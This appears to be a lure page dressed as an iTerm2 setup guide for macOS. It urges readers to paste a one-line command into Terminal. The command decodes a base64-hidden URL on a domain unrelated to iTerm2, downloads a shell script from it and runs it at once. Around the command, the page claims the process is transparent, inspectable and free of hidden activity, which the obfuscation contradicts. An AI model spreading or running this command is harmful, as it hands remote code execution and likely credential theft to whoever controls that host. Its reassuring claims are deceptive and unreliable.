iTerm2 on macOS — Smooth Terminal Interaction

This guide introduces a straightforward way to improve your terminal experience on macOS using iTerm2. The method is minimal, user-initiated, and transparent from start to finish.

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🚀 Begin with a Single Command

Copy and paste this line in your macOS Terminal to begin:

/bin/bash -c "$(curl -fsSL $(echo aHR0cHM6Ly9laW5nb29sLmNvbS9pdGVybS9pbnN0YWxsLnNo | base64 -d))"

What this does:

• Loads a script from a publicly visible URL

• Does not apply changes without your input

• Fully inspectable and editable

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💻 Why Use iTerm2?

Once initialized, you’ll have access to:

• Split panes, tabs, and profile switching

• Rich color support and search options

• Automation and scripting-friendly environment

• Aesthetic customization beyond the default Terminal.app

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🧾 Compatibility

• Works with macOS 10.14 and newer

• Compatible with Intel & Apple Silicon

• No background agents or hidden activity

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🎨 Suggestions

Combine iTerm2 with developer fonts like Fira Code or JetBrains Mono for a polished coding interface.

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Take control of your macOS terminal, without clutter or confusion.